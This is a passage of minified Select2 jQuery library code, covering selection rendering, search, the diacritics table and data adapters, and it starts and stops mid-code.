void(e.options.get("multiple")?e.trigger("unselect",{originalEvent:c,data:f}):e.trigger("close",{}));e.trigger("select",{originalEvent:c,data:f})}),this.$results.on("mouseenter",".select2-results__option[aria-selected]",function(c){var d=b.GetData(this,"data");e.getHighlightedResults().removeClass("select2-results__option--highlighted"),e.trigger("results:focus",{data:d,element:a(this)})})},c.prototype.getHighlightedResults=function(){return this.$results.find(".select2-results__option--highlighted")},c.prototype.destroy=function(){this.$results.remove()},c.prototype.ensureHighlightVisible=function(){var a=this.getHighlightedResults();if(0!==a.length){var b=this.$results.find("[aria-selected]"),c=b.index(a),d=this.$results.offset().top,e=a.offset().top,f=this.$results.scrollTop()+(e-d),g=e-d;f-=2*a.outerHeight(!1),c<=2?this.$results.scrollTop(0):(g>this.$results.outerHeight()||g<0)&&this.$results.scrollTop(f)}},c.prototype.template=function(b,c){var d=this.options.get("templateResult"),e=this.options.get("escapeMarkup"),f=d(b,c);null==f?c.style.display="none":"string"==typeof f?c.innerHTML=e(f):a(c).append(f)},c}),b.define("select2/keys",[],function(){return{BACKSPACE:8,TAB:9,ENTER:13,SHIFT:16,CTRL:17,ALT:18,ESC:27,SPACE:32,PAGE_UP:33,PAGE_DOWN:34,END:35,HOME:36,LEFT:37,UP:38,RIGHT:39,DOWN:40,DELETE:46}}),b.define("select2/selection/base",["jquery","../utils","../keys"],function(a,b,c){function d(a,b){this.$element=a,this.options=b,d.__super__.constructor.call(this)}return b.Extend(d,b.Observable),d.prototype.render=function(){var c=a('<span class="select2-selection" role="combobox"  aria-haspopup="true" aria-expanded="false"></span>');return this._tabindex=0,null!=b.GetData(this.$element[0],"old-tabindex")?this._tabindex=b.GetData(this.$element[0],"old-tabindex"):null!=this.$element.attr("tabindex")&&(this._tabindex=this.$element.attr("tabindex")),c.attr("title",this.$element.attr("title")),c.attr("tabindex",this._tabindex),this.$selection=c,c},d.prototype.bind=function(a,b){var d=this,e=(a.id,a.id+"-results");this.container=a,this.$selection.on("focus",function(a){d.trigger("focus",a)}),this.$selection.on("blur",function(a){d._handleBlur(a)}),this.$selection.on("keydown",function(a){d.trigger("keypress",a),a.which===c.SPACE&&a.preventDefault()}),a.on("results:focus",function(a){d.$selection.attr("aria-activedescendant",a.data._resultId)}),a.on("selection:update",function(a){d.update(a.data)}),a.on("open",function(){d.$selection.attr("aria-expanded","true"),d.$selection.attr("aria-owns",e),d._attachCloseHandler(a)}),a.on("close",function(){d.$selection.attr("aria-expanded","false"),d.$selection.removeAttr("aria-activedescendant"),d.$selection.removeAttr("aria-owns"),d.$selection.focus(),window.setTimeout(function(){d.$selection.focus()},0),d._detachCloseHandler(a)}),a.on("enable",function(){d.$selection.attr("tabindex",d._tabindex)}),a.on("disable",function(){d.$selection.attr("tabindex","-1")})},d.prototype._handleBlur=function(b){var c=this;window.setTimeout(function(){document.activeElement==c.$selection[0]||a.contains(c.$selection[0],document.activeElement)||c.trigger("blur",b)},1)},d.prototype._attachCloseHandler=function(c){a(document.body).on("mousedown.select2."+c.id,function(c){var d=a(c.target),e=d.closest(".select2");a(".select2.select2-container--open").each(function(){a(this),this!=e[0]&&b.GetData(this,"element").select2("close")})})},d.prototype._detachCloseHandler=function(b){a(document.body).off("mousedown.select2."+b.id)},d.prototype.position=function(a,b){b.find(".selection").append(a)},d.prototype.destroy=function(){this._detachCloseHandler(this.container)},d.prototype.update=function(a){throw new Error("The `update` method must be defined in child classes.")},d}),b.define("select2/selection/single",["jquery","./base","../utils","../keys"],function(a,b,c,d){function e(){e.__super__.constructor.apply(this,arguments)}return c.Extend(e,b),e.prototype.render=function(){var a=e.__super__.render.call(this);return a.addClass("select2-selection--single"),a.html('<span class="select2-selection__rendered"></span><span class="select2-selection__arrow" role="presentation"><b role="presentation"></b></span>'),a},e.prototype.bind=function(a,b){var c=this;e.__super__.bind.apply(this,arguments);var d=a.id+"-container";this.$selection.find(".select2-selection__rendered").attr("id",d).attr("role","textbox").attr("aria-readonly","true"),this.$selection.attr("aria-labelledby",d),this.$selection.on("mousedown",function(a){1===a.which&&c.trigger("toggle",{originalEvent:a})}),this.$selection.on("focus",function(a){}),this.$selection.on("blur",function(a){}),a.on("focus",function(b){a.isOpen()||c.$selection.focus()})},e.prototype.clear=function(){var a=this.$selection.find(".select2-selection__rendered");a.empty(),a.removeAttr("title")},e.prototype.display=function(a,b){var c=this.options.get("templateSelection");return this.options.get("escapeMarkup")(c(a,b))},e.prototype.selectionContainer=function(){return a("<span></span>")},e.prototype.update=function(a){if(0===a.length)return void this.clear();var b=a[0],c=this.$selection.find(".select2-selection__rendered"),d=this.display(b,c);c.empty().append(d),c.attr("title",b.title||b.text)},e}),b.define("select2/selection/multiple",["jquery","./base","../utils"],function(a,b,c){function d(a,b){d.__super__.constructor.apply(this,arguments)}return c.Extend(d,b),d.prototype.render=function(){var a=d.__super__.render.call(this);return a.addClass("select2-selection--multiple"),a.html('<ul class="select2-selection__rendered"></ul>'),a},d.prototype.bind=function(b,e){var f=this;d.__super__.bind.apply(this,arguments),this.$selection.on("click",function(a){f.trigger("toggle",{originalEvent:a})}),this.$selection.on("click",".select2-selection__choice__remove",function(b){if(!f.options.get("disabled")){var d=a(this),e=d.parent(),g=c.GetData(e[0],"data");f.trigger("unselect",{originalEvent:b,data:g})}})},d.prototype.clear=function(){var a=this.$selection.find(".select2-selection__rendered");a.empty(),a.removeAttr("title")},d.prototype.display=function(a,b){var c=this.options.get("templateSelection");return this.options.get("escapeMarkup")(c(a,b))},d.prototype.selectionContainer=function(){return a('<li class="select2-selection__choice"><span class="select2-selection__choice__remove" role="presentation">&times;</span></li>')},d.prototype.update=function(a){if(this.clear(),0!==a.length){for(var b=[],d=0;d<a.length;d++){var e=a[d],f=this.selectionContainer(),g=this.display(e,f);f.append(g),f.attr("title",e.title||e.text),c.StoreData(f[0],"data",e),b.push(f)}var h=this.$selection.find(".select2-selection__rendered");c.appendMany(h,b)}},d}),b.define("select2/selection/placeholder",["../utils"],function(a){function b(a,b,c){this.placeholder=this.normalizePlaceholder(c.get("placeholder")),a.call(this,b,c)}return b.prototype.normalizePlaceholder=function(a,b){return"string"==typeof b&&(b={id:"",text:b}),b},b.prototype.createPlaceholder=function(a,b){var c=this.selectionContainer();return c.html(this.display(b)),c.addClass("select2-selection__placeholder").removeClass("select2-selection__choice"),c},b.prototype.update=function(a,b){var c=1==b.length&&b[0].id!=this.placeholder.id;if(b.length>1||c)return a.call(this,b);this.clear();var d=this.createPlaceholder(this.placeholder);this.$selection.find(".select2-selection__rendered").append(d)},b}),b.define("select2/selection/allowClear",["jquery","../keys","../utils"],function(a,b,c){function d(){}return d.prototype.bind=function(a,b,c){var d=this;a.call(this,b,c),null==this.placeholder&&this.options.get("debug")&&window.console&&console.error&&console.error("Select2: The `allowClear` option should be used in combination with the `placeholder` option."),this.$selection.on("mousedown",".select2-selection__clear",function(a){d._handleClear(a)}),b.on("keypress",function(a){d._handleKeyboardClear(a,b)})},d.prototype._handleClear=function(a,b){if(!this.options.get("disabled")){var d=this.$selection.find(".select2-selection__clear");if(0!==d.length){b.stopPropagation();var e=c.GetData(d[0],"data"),f=this.$element.val();this.$element.val(this.placeholder.id);var g={data:e};if(this.trigger("clear",g),g.prevented)return void this.$element.val(f);for(var h=0;h<e.length;h++)if(g={data:e[h]},this.trigger("unselect",g),g.prevented)return void this.$element.val(f);this.$element.trigger("change"),this.trigger("toggle",{})}}},d.prototype._handleKeyboardClear=function(a,c,d){d.isOpen()||c.which!=b.DELETE&&c.which!=b.BACKSPACE||this._handleClear(c)},d.prototype.update=function(b,d){if(b.call(this,d),!(this.$selection.find(".select2-selection__placeholder").length>0||0===d.length)){var e=a('<span class="select2-selection__clear">&times;</span>');c.StoreData(e[0],"data",d),this.$selection.find(".select2-selection__rendered").prepend(e)}},d}),b.define("select2/selection/search",["jquery","../utils","../keys"],function(a,b,c){function d(a,b,c){a.call(this,b,c)}return d.prototype.render=function(b){var c=a('<li class="select2-search select2-search--inline"><input class="select2-search__field" type="search" tabindex="-1" autocomplete="off" autocorrect="off" autocapitalize="none" spellcheck="false" role="textbox" aria-autocomplete="list" /></li>');this.$searchContainer=c,this.$search=c.find("input");var d=b.call(this);return this._transferTabIndex(),d},d.prototype.bind=function(a,d,e){var f=this;a.call(this,d,e),d.on("open",function(){f.$search.trigger("focus")}),d.on("close",function(){f.$search.val(""),f.$search.removeAttr("aria-activedescendant"),f.$search.trigger("focus")}),d.on("enable",function(){f.$search.prop("disabled",!1),f._transferTabIndex()}),d.on("disable",function(){f.$search.prop("disabled",!0)}),d.on("focus",function(a){f.$search.trigger("focus")}),d.on("results:focus",function(a){f.$search.attr("aria-activedescendant",a.id)}),this.$selection.on("focusin",".select2-search--inline",function(a){f.trigger("focus",a)}),this.$selection.on("focusout",".select2-search--inline",function(a){f._handleBlur(a)}),this.$selection.on("keydown",".select2-search--inline",function(a){if(a.stopPropagation(),f.trigger("keypress",a),f._keyUpPrevented=a.isDefaultPrevented(),a.which===c.BACKSPACE&&""===f.$search.val()){var d=f.$searchContainer.prev(".select2-selection__choice");if(d.length>0){var e=b.GetData(d[0],"data");f.searchRemoveChoice(e),a.preventDefault()}}});var g=document.documentMode,h=g&&g<=11;this.$selection.on("input.searchcheck",".select2-search--inline",function(a){if(h)return void f.$selection.off("input.search input.searchcheck");f.$selection.off("keyup.search")}),this.$selection.on("keyup.search input.search",".select2-search--inline",function(a){if(h&&"input"===a.type)return void f.$selection.off("input.search input.searchcheck");var b=a.which;b!=c.SHIFT&&b!=c.CTRL&&b!=c.ALT&&b!=c.TAB&&f.handleSearch(a)})},d.prototype._transferTabIndex=function(a){this.$search.attr("tabindex",this.$selection.attr("tabindex")),this.$selection.attr("tabindex","-1")},d.prototype.createPlaceholder=function(a,b){this.$search.attr("placeholder",b.text)},d.prototype.update=function(a,b){var c=this.$search[0]==document.activeElement;if(this.$search.attr("placeholder",""),a.call(this,b),this.$selection.find(".select2-selection__rendered").append(this.$searchContainer),this.resizeSearch(),c){this.$element.find("[data-select2-tag]").length?this.$element.focus():this.$search.focus()}},d.prototype.handleSearch=function(){if(this.resizeSearch(),!this._keyUpPrevented){var a=this.$search.val();this.trigger("query",{term:a})}this._keyUpPrevented=!1},d.prototype.searchRemoveChoice=function(a,b){this.trigger("unselect",{data:b}),this.$search.val(b.text),this.handleSearch()},d.prototype.resizeSearch=function(){this.$search.css("width","25px");var a="";if(""!==this.$search.attr("placeholder"))a=this.$selection.find(".select2-selection__rendered").innerWidth();else{a=.75*(this.$search.val().length+1)+"em"}this.$search.css("width",a)},d}),b.define("select2/selection/eventRelay",["jquery"],function(a){function b(){}return b.prototype.bind=function(b,c,d){var e=this,f=["open","opening","close","closing","select","selecting","unselect","unselecting","clear","clearing"],g=["opening","closing","selecting","unselecting","clearing"];b.call(this,c,d),c.on("*",function(b,c){if(-1!==a.inArray(b,f)){c=c||{};var d=a.Event("select2:"+b,{params:c});e.$element.trigger(d),-1!==a.inArray(b,g)&&(c.prevented=d.isDefaultPrevented())}})},b}),b.define("select2/translation",["jquery","require"],function(a,b){function c(a){this.dict=a||{}}return c.prototype.all=function(){return this.dict},c.prototype.get=function(a){return this.dict[a]},c.prototype.extend=function(b){this.dict=a.extend({},b.all(),this.dict)},c._cache={},c.loadPath=function(a){if(!(a in c._cache)){var d=b(a);c._cache[a]=d}return new c(c._cache[a])},c}),b.define("select2/diacritics",[],function(){return{"Ⓐ":"A","A":"A","À":"A","Á":"A","Â":"A","Ầ":"A","Ấ":"A","Ẫ":"A","Ẩ":"A","Ã":"A","Ā":"A","Ă":"A","Ằ":"A","Ắ":"A","Ẵ":"A","Ẳ":"A","Ȧ":"A","Ǡ":"A","Ä":"A","Ǟ":"A","Ả":"A","Å":"A","Ǻ":"A","Ǎ":"A","Ȁ":"A","Ȃ":"A","Ạ":"A","Ậ":"A","Ặ":"A","Ḁ":"A","Ą":"A","Ⱥ":"A","Ɐ":"A","Ꜳ":"AA","Æ":"AE","Ǽ":"AE","Ǣ":"AE","Ꜵ":"AO","Ꜷ":"AU","Ꜹ":"AV","Ꜻ":"AV","Ꜽ":"AY","Ⓑ":"B","B":"B","Ḃ":"B","Ḅ":"B","Ḇ":"B","Ƀ":"B","Ƃ":"B","Ɓ":"B","Ⓒ":"C","C":"C","Ć":"C","Ĉ":"C","Ċ":"C","Č":"C","Ç":"C","Ḉ":"C","Ƈ":"C","Ȼ":"C","Ꜿ":"C","Ⓓ":"D","D":"D","Ḋ":"D","Ď":"D","Ḍ":"D","Ḑ":"D","Ḓ":"D","Ḏ":"D","Đ":"D","Ƌ":"D","Ɗ":"D","Ɖ":"D","Ꝺ":"D","DZ":"DZ","DŽ":"DZ","Dz":"Dz","Dž":"Dz","Ⓔ":"E","E":"E","È":"E","É":"E","Ê":"E","Ề":"E","Ế":"E","Ễ":"E","Ể":"E","Ẽ":"E","Ē":"E","Ḕ":"E","Ḗ":"E","Ĕ":"E","Ė":"E","Ë":"E","Ẻ":"E","Ě":"E","Ȅ":"E","Ȇ":"E","Ẹ":"E","Ệ":"E","Ȩ":"E","Ḝ":"E","Ę":"E","Ḙ":"E","Ḛ":"E","Ɛ":"E","Ǝ":"E","Ⓕ":"F","F":"F","Ḟ":"F","Ƒ":"F","Ꝼ":"F","Ⓖ":"G","G":"G","Ǵ":"G","Ĝ":"G","Ḡ":"G","Ğ":"G","Ġ":"G","Ǧ":"G","Ģ":"G","Ǥ":"G","Ɠ":"G","Ꞡ":"G","Ᵹ":"G","Ꝿ":"G","Ⓗ":"H","H":"H","Ĥ":"H","Ḣ":"H","Ḧ":"H","Ȟ":"H","Ḥ":"H","Ḩ":"H","Ḫ":"H","Ħ":"H","Ⱨ":"H","Ⱶ":"H","Ɥ":"H","Ⓘ":"I","I":"I","Ì":"I","Í":"I","Î":"I","Ĩ":"I","Ī":"I","Ĭ":"I","İ":"I","Ï":"I","Ḯ":"I","Ỉ":"I","Ǐ":"I","Ȉ":"I","Ȋ":"I","Ị":"I","Į":"I","Ḭ":"I","Ɨ":"I","Ⓙ":"J","J":"J","Ĵ":"J","Ɉ":"J","Ⓚ":"K","K":"K","Ḱ":"K","Ǩ":"K","Ḳ":"K","Ķ":"K","Ḵ":"K","Ƙ":"K","Ⱪ":"K","Ꝁ":"K","Ꝃ":"K","Ꝅ":"K","Ꞣ":"K","Ⓛ":"L","L":"L","Ŀ":"L","Ĺ":"L","Ľ":"L","Ḷ":"L","Ḹ":"L","Ļ":"L","Ḽ":"L","Ḻ":"L","Ł":"L","Ƚ":"L","Ɫ":"L","Ⱡ":"L","Ꝉ":"L","Ꝇ":"L","Ꞁ":"L","LJ":"LJ","Lj":"Lj","Ⓜ":"M","M":"M","Ḿ":"M","Ṁ":"M","Ṃ":"M","Ɱ":"M","Ɯ":"M","Ⓝ":"N","N":"N","Ǹ":"N","Ń":"N","Ñ":"N","Ṅ":"N","Ň":"N","Ṇ":"N","Ņ":"N","Ṋ":"N","Ṉ":"N","Ƞ":"N","Ɲ":"N","Ꞑ":"N","Ꞥ":"N","NJ":"NJ","Nj":"Nj","Ⓞ":"O","O":"O","Ò":"O","Ó":"O","Ô":"O","Ồ":"O","Ố":"O","Ỗ":"O","Ổ":"O","Õ":"O","Ṍ":"O","Ȭ":"O","Ṏ":"O","Ō":"O","Ṑ":"O","Ṓ":"O","Ŏ":"O","Ȯ":"O","Ȱ":"O","Ö":"O","Ȫ":"O","Ỏ":"O","Ő":"O","Ǒ":"O","Ȍ":"O","Ȏ":"O","Ơ":"O","Ờ":"O","Ớ":"O","Ỡ":"O","Ở":"O","Ợ":"O","Ọ":"O","Ộ":"O","Ǫ":"O","Ǭ":"O","Ø":"O","Ǿ":"O","Ɔ":"O","Ɵ":"O","Ꝋ":"O","Ꝍ":"O","Ƣ":"OI","Ꝏ":"OO","Ȣ":"OU","Ⓟ":"P","P":"P","Ṕ":"P","Ṗ":"P","Ƥ":"P","Ᵽ":"P","Ꝑ":"P","Ꝓ":"P","Ꝕ":"P","Ⓠ":"Q","Q":"Q","Ꝗ":"Q","Ꝙ":"Q","Ɋ":"Q","Ⓡ":"R","R":"R","Ŕ":"R","Ṙ":"R","Ř":"R","Ȑ":"R","Ȓ":"R","Ṛ":"R","Ṝ":"R","Ŗ":"R","Ṟ":"R","Ɍ":"R","Ɽ":"R","Ꝛ":"R","Ꞧ":"R","Ꞃ":"R","Ⓢ":"S","S":"S","ẞ":"S","Ś":"S","Ṥ":"S","Ŝ":"S","Ṡ":"S","Š":"S","Ṧ":"S","Ṣ":"S","Ṩ":"S","Ș":"S","Ş":"S","Ȿ":"S","Ꞩ":"S","Ꞅ":"S","Ⓣ":"T","T":"T","Ṫ":"T","Ť":"T","Ṭ":"T","Ț":"T","Ţ":"T","Ṱ":"T","Ṯ":"T","Ŧ":"T","Ƭ":"T","Ʈ":"T","Ⱦ":"T","Ꞇ":"T","Ꜩ":"TZ","Ⓤ":"U","U":"U","Ù":"U","Ú":"U","Û":"U","Ũ":"U","Ṹ":"U","Ū":"U","Ṻ":"U","Ŭ":"U","Ü":"U","Ǜ":"U","Ǘ":"U","Ǖ":"U","Ǚ":"U","Ủ":"U","Ů":"U","Ű":"U","Ǔ":"U","Ȕ":"U","Ȗ":"U","Ư":"U","Ừ":"U","Ứ":"U","Ữ":"U","Ử":"U","Ự":"U","Ụ":"U","Ṳ":"U","Ų":"U","Ṷ":"U","Ṵ":"U","Ʉ":"U","Ⓥ":"V","V":"V","Ṽ":"V","Ṿ":"V","Ʋ":"V","Ꝟ":"V","Ʌ":"V","Ꝡ":"VY","Ⓦ":"W","W":"W","Ẁ":"W","Ẃ":"W","Ŵ":"W","Ẇ":"W","Ẅ":"W","Ẉ":"W","Ⱳ":"W","Ⓧ":"X","X":"X","Ẋ":"X","Ẍ":"X","Ⓨ":"Y","Y":"Y","Ỳ":"Y","Ý":"Y","Ŷ":"Y","Ỹ":"Y","Ȳ":"Y","Ẏ":"Y","Ÿ":"Y","Ỷ":"Y","Ỵ":"Y","Ƴ":"Y","Ɏ":"Y","Ỿ":"Y","Ⓩ":"Z","Z":"Z","Ź":"Z","Ẑ":"Z","Ż":"Z","Ž":"Z","Ẓ":"Z","Ẕ":"Z","Ƶ":"Z","Ȥ":"Z","Ɀ":"Z","Ⱬ":"Z","Ꝣ":"Z","ⓐ":"a","a":"a","ẚ":"a","à":"a","á":"a","â":"a","ầ":"a","ấ":"a","ẫ":"a","ẩ":"a","ã":"a","ā":"a","ă":"a","ằ":"a","ắ":"a","ẵ":"a","ẳ":"a","ȧ":"a","ǡ":"a","ä":"a","ǟ":"a","ả":"a","å":"a","ǻ":"a","ǎ":"a","ȁ":"a","ȃ":"a","ạ":"a","ậ":"a","ặ":"a","ḁ":"a","ą":"a","ⱥ":"a","ɐ":"a","ꜳ":"aa","æ":"ae","ǽ":"ae","ǣ":"ae","ꜵ":"ao","ꜷ":"au","ꜹ":"av","ꜻ":"av","ꜽ":"ay","ⓑ":"b","b":"b","ḃ":"b","ḅ":"b","ḇ":"b","ƀ":"b","ƃ":"b","ɓ":"b","ⓒ":"c","c":"c","ć":"c","ĉ":"c","ċ":"c","č":"c","ç":"c","ḉ":"c","ƈ":"c","ȼ":"c","ꜿ":"c","ↄ":"c","ⓓ":"d","d":"d","ḋ":"d","ď":"d","ḍ":"d","ḑ":"d","ḓ":"d","ḏ":"d","đ":"d","ƌ":"d","ɖ":"d","ɗ":"d","ꝺ":"d","dz":"dz","dž":"dz","ⓔ":"e","e":"e","è":"e","é":"e","ê":"e","ề":"e","ế":"e","ễ":"e","ể":"e","ẽ":"e","ē":"e","ḕ":"e","ḗ":"e","ĕ":"e","ė":"e","ë":"e","ẻ":"e","ě":"e","ȅ":"e","ȇ":"e","ẹ":"e","ệ":"e","ȩ":"e","ḝ":"e","ę":"e","ḙ":"e","ḛ":"e","ɇ":"e","ɛ":"e","ǝ":"e","ⓕ":"f","f":"f","ḟ":"f","ƒ":"f","ꝼ":"f","ⓖ":"g","g":"g","ǵ":"g","ĝ":"g","ḡ":"g","ğ":"g","ġ":"g","ǧ":"g","ģ":"g","ǥ":"g","ɠ":"g","ꞡ":"g","ᵹ":"g","ꝿ":"g","ⓗ":"h","h":"h","ĥ":"h","ḣ":"h","ḧ":"h","ȟ":"h","ḥ":"h","ḩ":"h","ḫ":"h","ẖ":"h","ħ":"h","ⱨ":"h","ⱶ":"h","ɥ":"h","ƕ":"hv","ⓘ":"i","i":"i","ì":"i","í":"i","î":"i","ĩ":"i","ī":"i","ĭ":"i","ï":"i","ḯ":"i","ỉ":"i","ǐ":"i","ȉ":"i","ȋ":"i","ị":"i","į":"i","ḭ":"i","ɨ":"i","ı":"i","ⓙ":"j","j":"j","ĵ":"j","ǰ":"j","ɉ":"j","ⓚ":"k","k":"k","ḱ":"k","ǩ":"k","ḳ":"k","ķ":"k","ḵ":"k","ƙ":"k","ⱪ":"k","ꝁ":"k","ꝃ":"k","ꝅ":"k","ꞣ":"k","ⓛ":"l","l":"l","ŀ":"l","ĺ":"l","ľ":"l","ḷ":"l","ḹ":"l","ļ":"l","ḽ":"l","ḻ":"l","ſ":"l","ł":"l","ƚ":"l","ɫ":"l","ⱡ":"l","ꝉ":"l","ꞁ":"l","ꝇ":"l","lj":"lj","ⓜ":"m","m":"m","ḿ":"m","ṁ":"m","ṃ":"m","ɱ":"m","ɯ":"m","ⓝ":"n","n":"n","ǹ":"n","ń":"n","ñ":"n","ṅ":"n","ň":"n","ṇ":"n","ņ":"n","ṋ":"n","ṉ":"n","ƞ":"n","ɲ":"n","ʼn":"n","ꞑ":"n","ꞥ":"n","nj":"nj","ⓞ":"o","o":"o","ò":"o","ó":"o","ô":"o","ồ":"o","ố":"o","ỗ":"o","ổ":"o","õ":"o","ṍ":"o","ȭ":"o","ṏ":"o","ō":"o","ṑ":"o","ṓ":"o","ŏ":"o","ȯ":"o","ȱ":"o","ö":"o","ȫ":"o","ỏ":"o","ő":"o","ǒ":"o","ȍ":"o","ȏ":"o","ơ":"o","ờ":"o","ớ":"o","ỡ":"o","ở":"o","ợ":"o","ọ":"o","ộ":"o","ǫ":"o","ǭ":"o","ø":"o","ǿ":"o","ɔ":"o","ꝋ":"o","ꝍ":"o","ɵ":"o","ƣ":"oi","ȣ":"ou","ꝏ":"oo","ⓟ":"p","p":"p","ṕ":"p","ṗ":"p","ƥ":"p","ᵽ":"p","ꝑ":"p","ꝓ":"p","ꝕ":"p","ⓠ":"q","q":"q","ɋ":"q","ꝗ":"q","ꝙ":"q","ⓡ":"r","r":"r","ŕ":"r","ṙ":"r","ř":"r","ȑ":"r","ȓ":"r","ṛ":"r","ṝ":"r","ŗ":"r","ṟ":"r","ɍ":"r","ɽ":"r","ꝛ":"r","ꞧ":"r","ꞃ":"r","ⓢ":"s","s":"s","ß":"s","ś":"s","ṥ":"s","ŝ":"s","ṡ":"s","š":"s","ṧ":"s","ṣ":"s","ṩ":"s","ș":"s","ş":"s","ȿ":"s","ꞩ":"s","ꞅ":"s","ẛ":"s","ⓣ":"t","t":"t","ṫ":"t","ẗ":"t","ť":"t","ṭ":"t","ț":"t","ţ":"t","ṱ":"t","ṯ":"t","ŧ":"t","ƭ":"t","ʈ":"t","ⱦ":"t","ꞇ":"t","ꜩ":"tz","ⓤ":"u","u":"u","ù":"u","ú":"u","û":"u","ũ":"u","ṹ":"u","ū":"u","ṻ":"u","ŭ":"u","ü":"u","ǜ":"u","ǘ":"u","ǖ":"u","ǚ":"u","ủ":"u","ů":"u","ű":"u","ǔ":"u","ȕ":"u","ȗ":"u","ư":"u","ừ":"u","ứ":"u","ữ":"u","ử":"u","ự":"u","ụ":"u","ṳ":"u","ų":"u","ṷ":"u","ṵ":"u","ʉ":"u","ⓥ":"v","v":"v","ṽ":"v","ṿ":"v","ʋ":"v","ꝟ":"v","ʌ":"v","ꝡ":"vy","ⓦ":"w","w":"w","ẁ":"w","ẃ":"w","ŵ":"w","ẇ":"w","ẅ":"w","ẘ":"w","ẉ":"w","ⱳ":"w","ⓧ":"x","x":"x","ẋ":"x","ẍ":"x","ⓨ":"y","y":"y","ỳ":"y","ý":"y","ŷ":"y","ỹ":"y","ȳ":"y","ẏ":"y","ÿ":"y","ỷ":"y","ẙ":"y","ỵ":"y","ƴ":"y","ɏ":"y","ỿ":"y","ⓩ":"z","z":"z","ź":"z","ẑ":"z","ż":"z","ž":"z","ẓ":"z","ẕ":"z","ƶ":"z","ȥ":"z","ɀ":"z","ⱬ":"z","ꝣ":"z","Ά":"Α","Έ":"Ε","Ή":"Η","Ί":"Ι","Ϊ":"Ι","Ό":"Ο","Ύ":"Υ","Ϋ":"Υ","Ώ":"Ω","ά":"α","έ":"ε","ή":"η","ί":"ι","ϊ":"ι","ΐ":"ι","ό":"ο","ύ":"υ","ϋ":"υ","ΰ":"υ","ω":"ω","ς":"σ"}}),b.define("select2/data/base",["../utils"],function(a){function b(a,c){b.__super__.constructor.call(this)}return a.Extend(b,a.Observable),b.prototype.current=function(a){throw new Error("The `current` method must be defined in child classes.")},b.prototype.query=function(a,b){throw new Error("The `query` method must be defined in child classes.")},b.prototype.bind=function(a,b){},b.prototype.destroy=function(){},b.prototype.generateResultId=function(b,c){var d=b.id+"-result-";return d+=a.generateChars(4),null!=c.id?d+="-"+c.id.toString():d+="-"+a.generateChars(4),d},b}),b.define("select2/data/select",["./base","../utils","jquery"],function(a,b,c){function d(a,b){this.$element=a,this.options=b,d.__super__.constructor.call(this)}return b.Extend(d,a),d.prototype.current=function(a){var b=[],d=this;this.$element.find(":selected").each(function(){var a=c(this),e=d.item(a);b.push(e)}),a(b)},d.prototype.select=function(a){var b=this;if(a.selected=!0,c(a.element).is("option"))return a.element.selected=!0,void this.$element.trigger("change");if(this.$element.prop("multiple"))this.current(function(d){var e=[];a=[a],a.push.apply(a,d);for(var f=0;f<a.length;f++){var g=a[f].id;-1===c.inArray(g,e)&&e.push(g)}b.$element.val(e),b.$element.trigger("change")});else{var d=a.id;this.$element.val(d),this.$element.trigger("change")}},d.prototype.unselect=function(a){var b=this;if(this.$element.prop("multiple")){if(a.selected=!1,c(a.element).is("option"))return a.element.selected=!1,void this.$element.trigger("change");this.current(function(d){for(var e=[],f=0;f<d.length;f++){var g=d[f].id;g!==a.id&&-1===c.inArray(g,e)&&e.push(g)}b.$element.val(e),b.$element.trigger("change")})}},d.prototype.bind=function(a,b){var c=this;this.container=a,a.on("select",function(a){c.select(a.data)}),a.on("unselect",function(a){c.unselect(a.data)})},d.prototype.destroy=function(){this.$element.find("*").each(function(){b.RemoveData(this)})},d.prototype.query=function(a,b){var d=[],e=this;this.$element.children().each(function(){var b=c(this);if(b.is("option")||b.is("optgroup")){var f=e.item(b),g=e.matches(a,f);null!==g&&d.push(g)}}),b({results:d})},d.prototype.addOptions=function(a){b.appendMany(this.$element,a)},d.prototype.option=function(a){var d;a.children?(d=document.createElement("optgroup"),d.label=a.text):(d=document.createElement("option"),void 0!==d.textContent?d.textContent=a.text:d.innerText=a.text),void 0!==a.id&&(d.value=a.id),a.disabled&&(d.disabled=!0),a.selected&&(d.selected=!0),a.title&&(d.title=a.title);var e=c(d),f=this._normalizeItem(a);return f.element=d,b.StoreData(d,"data",f),e},d.prototype.item=function(a){var d={};if(null!=(d=b.GetData(a[0],"data")))return d;if(a.is("option"))d={id:a.val(),text:a.text(),disabled:a.prop("disabled"),selected:a.prop("selected"),title:a.prop("title")};else if(a.is("optgroup")){d={text:a.prop("label"),children:[],title:a.prop("title")};for(var e=a.children("option"),f=[],g=0;g<e.length;g++){var h=c(e[g]),i=this.item(h);f.push(i)}d.children=f}return d=this._normalizeItem(d),d.element=a[0],b.StoreData(a[0],"data",d),d},d.prototype._normalizeItem=function(a){a!==Object(a)&&(a={id:a,text:a}),a=c.extend({},{text:""},a);var b={selected:!1,disabled:!1};return null!=a.id&&(a.id=a.id.toString()),null!=a.text&&(a.text=a.text.toString()),null==a._resultId&&a.id&&null!=this.container&&(a._resultId=this.generateResultId(this.container,a)),c.extend({},b,a)},d.prototype.matches=function(a,b){return this.options.get("matcher")(a,b)},d}),b.define("select2/data/array",["./select","../utils","jquery"],function(a,b,c){function d(a,b){var c=b.get("data")||[];d.__super__.constructor.call(this,a,b),this.addOptions(this.convertToOptions(c))}return b.Extend(d,a),d.prototype.select=function(a){var b=this.$element.find("option").filter(function(b,c){return c.value==a.id.toString()});0===b.length&&(b=this.option(a),this.addOptions(b)),d.__super__.select.call(this,a)},d.prototype.convertToOptions=function(a){function d(a){return function(){return c(this).val()==a.id}}for(var e=this,f=this.$element.find("option"),g=f.map(function(){return e.item(c(this)).id}).get(),h=[],i=0;i<a.length;i++){var j=this._normalizeItem(a[i]);if(c.inArray(j.id,g)>=0){var k=f.filter(d(j)),l=this.item(k),m=c.extend(!0,{},j,l),n=this.option(m);k.replaceWith(n)}else{var o=this.option(j);if(j.children){var p=this.convertToOptions(j.children);b.appendMany(o,p)}h.push(o)}}return h},d}),b.define("select2/data/ajax",["./array","../utils","jquery"],function(a,b,c){function d(a,b){this.ajaxOptions=this._applyDefaults(b.get("ajax")),null!=this.ajaxOptions.processResults&&(this.processResults=this.ajaxOptions.processResults),d.__super__.constructor.call(this,a,b)}return b.Extend(d,a),d.prototype._applyDefaults=function(a){var b={data:function(a){return c.extend({},a,{q:a.term})},transport:function(a,b,d){var e=c.ajax(a);return e.then(b),e.fail(d),e}};return c.extend({},b,a,!0)},d.prototype.processResults=function(a){return a},d.prototype.query=function(a,b){function d(){var d=f.transport(f,function(d){var f=e.processResults(d,a);e.options.get("debug")&&window.console&&console.error&&(f&&f.results&&c.isArray(f.results)||console.error("Select2: The AJAX results did not return an array in the `results` key of the response.")),b(f)},function(){"status"in 